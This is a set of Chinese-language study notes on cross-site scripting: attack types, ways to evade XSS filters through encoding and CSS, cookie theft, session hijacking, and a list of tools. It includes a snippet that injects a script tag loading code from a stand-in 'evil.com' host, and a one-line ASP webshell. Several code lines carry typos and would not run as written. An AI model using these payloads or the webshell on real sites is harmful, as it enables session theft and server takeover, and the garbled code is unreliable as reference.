反射型 XSS
通常出现在网站的搜索栏,用户登入口等,常用来窃取客户端Cookies进行钓鱼欺骗。
持久性XSS
一般在网站的留言、评论、博客日志等交互处,恶意脚本被存储到客户端或者服务器的数据库中
XSS Cheat sheet
http://ha.ckers.org/xss.html
二、绕过XSS-Filter
1、利用<> 标签注射 HTML/javaSript
2、利用HTML标签属性值执行XSS
JavaSrcipt:[ code ]
Vbscript
3、空格、回车、Tab javas cript 使用关键字拆分
4、对标签属性值转码
替换成编码
5、产生自己的事件
大量的事件可以被利用
6、利用css跨站
A:style标签
B:style属性
C; 标签引用css
D:@import 导入css
p{
background-image:expression(alert("xss"));
}
7、打扰过滤规则
大小写 没有空格
不同的全角字符
样式表中的/**/
注释字符
关键字转码处理
三、利用字符编码
1、ASCII方式 进行编码
支持十进制和十六进制;
加 ; 。。。等
2、JS中的eval()函数
该函数可计算字符串,并执行其中的JS代码
eval()配合 string.fromcharCode()函数执行10进行脚本
3、样式表支持和解释\连接的十六进制字符串
4、JS支持Unicode,escape,十六,八进制等编码形式
5、编码加密技术
Jscript encode VBscript encode
四、shellcode的调用
shellcode利用代码
expliot 漏洞利用工具包含shellcode
poc proof of concept 证明漏洞存在的代码片段
1、动态调用远程JS
http://www.bug.com/view.php?sort= ">
2、基于DOM的方法创建和插入节点,把脚本或HTML注入到网页。
var s = document.createLement("script");
s.src = "http://www.evil.com.xss.js";
document.getElementByTarName("head")[0].appendChild(s);
3、使用window.location.hash location是JS管理地址栏的内置对象
4、备选存储技术
HTTP cookie 、FLASH
XSS利用方式
1、cookie窃取
2、会话劫持
3、网络钓鱼
4、XSSHistory HACK
5、客户端信息刺探
6、其它:挂马,dos和ddos ,xss virus/worm
A:cookies窃取
1、cookie:用于身份识别和会话跟踪
2、通过document.cookie访问cookies,JavaScript:alert(document.cookie)
3、会话攻击代码
接受代码 ...
4、欺骗,:桂林老兵,firfox
B:会话劫持
session和cookie的最大区别在于:session是保存在服务端的内存里面,而cookie保存于这在机器或客户端文件里面。
1、权限提升 : 讲post请求和被攻击这的cookie一同发送到服务端,增加管理员
2、获取网站webshell
a、%><%eval request("nnkey")%><%
b、劫持管理员会话备份webshell
C、网络钓鱼 键盘记录等
D、客户端信息刺探
1、js实现端口扫描
2、js截获剪贴板内容
3、获取客户端ip地址 内网、外网
E:网页挂马 dos和ddos
XSS virus/WORM 蠕虫
XSS测试和工具剖析
前4款:firebug 、tamper data、livehttpheader、fiddler
后四款:attackAPI、anehta、XSS shell、XSS proxy